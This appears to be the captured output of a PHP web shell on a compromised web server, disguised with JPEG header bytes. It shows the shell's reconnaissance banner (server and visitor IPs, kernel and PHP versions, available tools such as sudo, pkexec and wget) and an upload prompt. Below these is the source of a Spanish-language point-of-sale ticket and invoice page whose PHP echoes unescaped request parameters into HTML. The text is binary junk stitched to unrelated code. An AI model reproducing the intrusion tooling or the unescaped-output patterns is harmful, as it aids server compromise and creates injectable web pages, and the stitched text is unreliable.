����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����
Server IP : 74.208.127.88 / Your IP : 18.224.136.160 Web Server : Apache/2.4.41 (Ubuntu) System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64 User : www-data ( 33) PHP Version : 7.4.3-4ubuntu2.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /var/www/html/t/sae/appsae/core/app/view/ |
Upload File : |
<?php if (isset($_GET["sale_id"])): $sale_id= $_GET["sale_id"]; //obtenemos el sell_id desde sale_id $sell = SellData::getByc($sale_id); $person_id= $sell->person_id; //verificamos si fue a credito $credito=0; if ($sell->p_id==4) { $credito= 1; } ?> <?php else: ?> <?php endif; ?> <?php if (isset($credito) && $credito != 0): $sell2 = SellData::getByc($sell->sale_id); $id_sell = $sell2->id; if($sell2->person_id!=""){ $client = $sell2->getPerson(); $ar_cliente = array( "id" => $client->id_cust, "no" => $client->rfc, "name" => $client->name, "phone" => $client->phone, "localidad" => $client->country, ); $_SESSION['ar_cliente'] = $ar_cliente; } print "<script>window.location='index.php?view=makepayment&id=$client->id&credito=".$_GET["credito"]."&sell=".$id_sell."';</script>"; ?> <?php else: ?> <?php $cambiarprecio_val = ConfigurationData::getByPreffix("cambiarprecio_val")->val; ?> <section class="content"> <form class="form-horizontal" method="post" enctype="multipart/form-data" id="factura" action="http://localhost/sdk2/ejemplos/cfdi33/ejemplo_factura.php" role="form"> <div class="btn-group pull-right"> <div class="form-group"> <div class="col-lg-offset-1 col-lg-6"> </div> </div> </div> <input type="hidden" name="sell_id" value="<?php echo $_GET["id"]; ?>"> <div class="btn-group pull-right"> <button type="button" class="btn btn-default dropdown-toggle" data-toggle="dropdown"> <i class="fa fa-download"></i> Ticket <span class="caret"></span> </button> <ul class="dropdown-menu" role="menu"> <li><a href="report/onesell-word.php?id=<?php echo $_GET["id"];?>">Word 2007 (.docx)</a></li> <li><a onclick="thePDF()" id="makepdf" class=""><i class="fa fa-download"></i> Descargar PDF</a> <button type="submit" class="btn btn-primary"><i class="glyphicon glyphicon-search"></i>Generar Fatura</button> </ul> </div> <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title></title> <script type="text/javascript"> function imprimir() { if (window.print) { window.print(); } else { alert("La función de impresion no esta soportada por su navegador."); } } </script> </head> <body onload="imprimir();"> <?php if(isset($_GET["id"]) && $_GET["id"]!=""):?> <?php $sell = SellData::getById($_GET["id"]); $operations = OperationData::getAllProductsBySellId($_GET["sale_id"]); $total = 0; $settingsRFC = ConfigurationData::getByIdRFC(); $settings2 = ConfigurationData::getById1(); $settingsEmisor = ConfigurationData::getByIdEmisor(); $settingsCalle = ConfigurationData::getByIdCalle(); $settingsInt = ConfigurationData::getByIdInt(); $settingsExt = ConfigurationData::getByIdExt(); $settingsColonia = ConfigurationData::getByIdColonia(); $settingsCity = ConfigurationData::getByIdCity(); $settingsCP = ConfigurationData::getByIdCp(); ?> <div class="row"> <div class="col-md-4"> <div class="box box-primary"> <table class="table table-bordered"> <tr> <td align="center"><img src="storage/products/logo.png" width="75" height="75"></td> </tr> <tr> <td colspan="2" align="center"><?php echo $settings2->val;?></td> </tr> <tr> <td colspan="2" align="center"><?php echo $settingsCalle->val; echo " "; echo $settingsInt->val; echo " "; echo $settingsExt->val; echo " "; echo $settingsColonia->val;?> </td> </tr> <?php foreach($sell as $sell2){ if($sell2->person_id!=""): $client = PersonData::getById($sell2->person_id); if($client->id_cust!=null){ $client->name." ".$client->country; } $_SESSION['ar_cliente'] =$client; ?> <tr> <td colspan="2" align="left" id="clave"><h4>Cliente:</h4><u><?php echo $client->name."-".$client->phone;?></u></td> </tr> <?php endif; ?> <?php } ?> <?php $time = time(); ?> <tr> <td colspan="2" align="left" id="ticket"> Fecha: <?php echo $sell2->created_at ; ?></td> <td colspan="2" align="right" id="ticket">#<?php echo $sell2->id ; ?> </td> </tr> </table> </div> </div> </div> <div class="row"> <div class="col-md-4"> <div class="box box-primary"> <table class="table table-bordered"> <tr> <td style="width:10px;">Cant</td> <th>Descripcion</th> </tr> <?php /**/ $prod = array(); //$_SESSION['arreglo'] = array(); foreach($operations as $operation){ $product = $operation->getProduct(); $prod[] = array( "cantidad" => $operation->qty, "name" => $product->item_name, "unidad" => "NA", "id" => $product->id_item, "valorunitario" => $product->price, "importe" => $product->price * $operation->qty, "claveunidad" => $product->unit, ); ?> <tr> <td colspan="2" align="left"><?php echo $operation->qty ; ?> | <?php echo $product->item_name ;?></td> </tr> <?php if(($cambiarprecio_val != "SI") || ($cambiarprecio_val != "si")): ?> <tr> <td><b>CostoU.</b></td> <td align="left">$ <?php echo number_format($operation->price,2,".",",");$total+=$operation->qty*$operation->price;?></td> </tr> <?php else: ?> <tr> <td><b>Precio R.</b></td> <td align="left">$ <?php echo number_format($operation->qty*$operation->price,2,".",",");$total+=$operation->qty*$operation->price;?></td> </tr> <?php endif; ?> <?php } $_SESSION['prod'] = $prod; ?> </table> </div> </div> </div> <div class="row"> <div class="col-md-4"> <div class="box box-primary"> <table class="table table-bordered"> <tr> <?php if(isset($_GET["money"])): ?> <td>Importe Recibido:</td> <td>$ <?php echo number_format($_GET["money"],2,'.',','); ?></td> <?php else: ?> <td>Importe:</td> <td>$ <?php echo number_format($sell2->total,2,'.',','); ?></td> <?php endif; ?> </tr> <?php if(($cambiarprecio_val != "SI") || ($cambiarprecio_val != "si")): ?> <tr> <td>Subtotal(-)X:</td> <td>$ <?php echo number_format($sell2->total,2,'.',','); ?></td> </tr> <?php else: ?> <tr> <td>Subtotal(-)Y:</td> <td>$ <?php echo number_format($total,2,'.',','); ?></td> </tr> <?php endif; ?> <tr> <td>Cambio(+):</td> <td>$ <?php echo number_format($sell2->discount,2,'.',','); ?></td> </tr> <?php if(isset($_GET["money1"])): ?> <?php if(($cambiarprecio_val != "SI") || ($cambiarprecio_val != "si")): ?> <tr> <td>Cambio Z:</td> <td>$ <?php echo number_format($_GET["money"]-$sell->total+$sell->discount,2,'.',','); ?></td> </tr> <?php else: ?> <?php if ($_GET["money1"]>0): $total=$total-$sell->discount; $cambio=$_GET["money"]-$total; ?> <tr> <td>Cambio X:</td> <td>$ <?php echo number_format($cambio,2,'.',','); ?></td> </tr> <?php endif; ?> <?php endif; ?> <?php else: ?> <?php $cambio=$sell2->total-$sell2->discount; ?> <tr> <td>Recibi: Y</td> <td>$ <?php echo number_format($cambio,2,'.',','); ?></td> </tr> <?php endif; ?> </table> <input type="hidden" name="sell_subtotal" value="<?php echo $total; ?>"> <input type="hidden" name="sell_descuento" value="<?php echo $sell->discount; ?>"> <input type="hidden" name="sell_total" value="<?php echo $total-$sell->discount; ?>"> </div> </body> </html> <?php if($sell2->person_id!="" && $credito == 1 ): $credit=PaymentData::sumByClientId($sell2->person_id)->total; ?> <div class="box box-primary"> <table class="table table-bordered"> <tr> <td><h4>Abono Realizado:</h4></td> <td><h4>$ <?php echo number_format($sell2->discount,2,'.',','); ?></h4></td> </tr> <tr> <td><h4>Saldo Actual(CREDITO):</h4></td> <td><h4>$ <?php echo number_format($credit,2,'.',','); ?></h4></td> </tr> </table> </div> <?php endif;?> </div> </div> </form> <script type="text/javascript"> function thePDF() { var columns = [ // {title: "Reten", dataKey: "reten"}, {title: "Codigo", dataKey: "code"}, {title: "Cantidad", dataKey: "q"}, {title: "Nombre del Producto", dataKey: "product"}, {title: "Precio unitario", dataKey: "pu"}, {title: "Total", dataKey: "total"}, // ... ]; var columns2 = [ // {title: "Reten", dataKey: "reten"}, {title: "", dataKey: "clave"}, {title: "", dataKey: "valor"}, // ... ]; var rows = [ <?php foreach($operations as $operation): $product = $operation->getProduct(); ?> { "code": "<?php echo $product->id; ?>", "q": "<?php echo $operation->q; ?>", "product": "<?php echo $product->name; ?>", "pu": "$ <?php echo number_format($operation->price_out,2,".",","); ?>", "total": "$ <?php echo number_format($operation->q*$operation->price_out,2,".",","); ?>", }, <?php endforeach; ?> ]; var rows2 = [ <?php if($sell->person_id!=""): $person = $sell->getPerson(); ?> { "clave": "Cliente", "valor": "<?php echo $person->name." ".$person->lastname; ?>", }, <?php endif; ?> { "clave": "Atendido por", "valor": "<?php echo $user->name." ".$user->lastname; ?>", }, ]; var rows3 = [ { "clave": "Descuento", "valor": "$ <?php echo number_format($sell->discount,2,'.',',');; ?>", }, { "clave": "Subtotal", "valor": "$ <?php echo number_format($sell->total,2,'.',',');; ?>", }, { "clave": "Total", "valor": "$ <?php echo number_format($sell->total-$sell->discount,2,'.',',');; ?>", }, ]; // Only pt supported (not mm or in) var doc = new jsPDF('p', 'pt'); doc.setFontSize(26); doc.text("NOTA DE VENTA", 40, 65); doc.setFontSize(14); doc.text("Fecha: <?php echo $sell->created_at; ?>", 40, 80); // doc.text("Operador:", 40, 150); // doc.text("Header", 40, 30); // doc.text("Header", 40, 30); doc.autoTable(columns2, rows2, { theme: 'grid', overflow:'linebreak', styles: { fillColor: [100, 100, 100] }, columnStyles: { id: {fillColor: 255} }, margin: {top: 100}, afterPageContent: function(data) { // doc.text("Header", 40, 30); } }); doc.autoTable(columns, rows, { theme: 'grid', overflow:'linebreak', styles: { fillColor: [100, 100, 100] }, columnStyles: { id: {fillColor: 255} }, margin: {top: doc.autoTableEndPosY()+15}, afterPageContent: function(data) { // doc.text("Header", 40, 30); } }); doc.autoTable(columns2, rows2, { theme: 'grid', overflow:'linebreak', styles: { fillColor: [100, 100, 100] }, columnStyles: { id: {fillColor: 255} }, margin: {top: doc.autoTableEndPosY()+15}, afterPageContent: function(data) { doc.text("Header", 40, 30); } }); //doc.setFontsize //img = new Image(); //img.src = "liberacion2.jpg"; //doc.addImage(img, 'JPEG', 40, 10, 610, 100, 'monkey'); // Cache the image using the alias 'monkey' doc.setFontSize(20); doc.setFontSize(12); doc.text("Generado por el Sistema de inventario", 40, doc.autoTableEndPosY()+25); doc.save('sell-<?php echo date("d-m-Y h:i:s",time()); ?>.pdf'); //doc.output("datauri"); } </script> <script> $(document).ready(function(){ // $("#makepdf").trigger("click"); }); </script> <?php else:?> 501 Internal Error <?php endif; ?> </section> <?php endif; ?>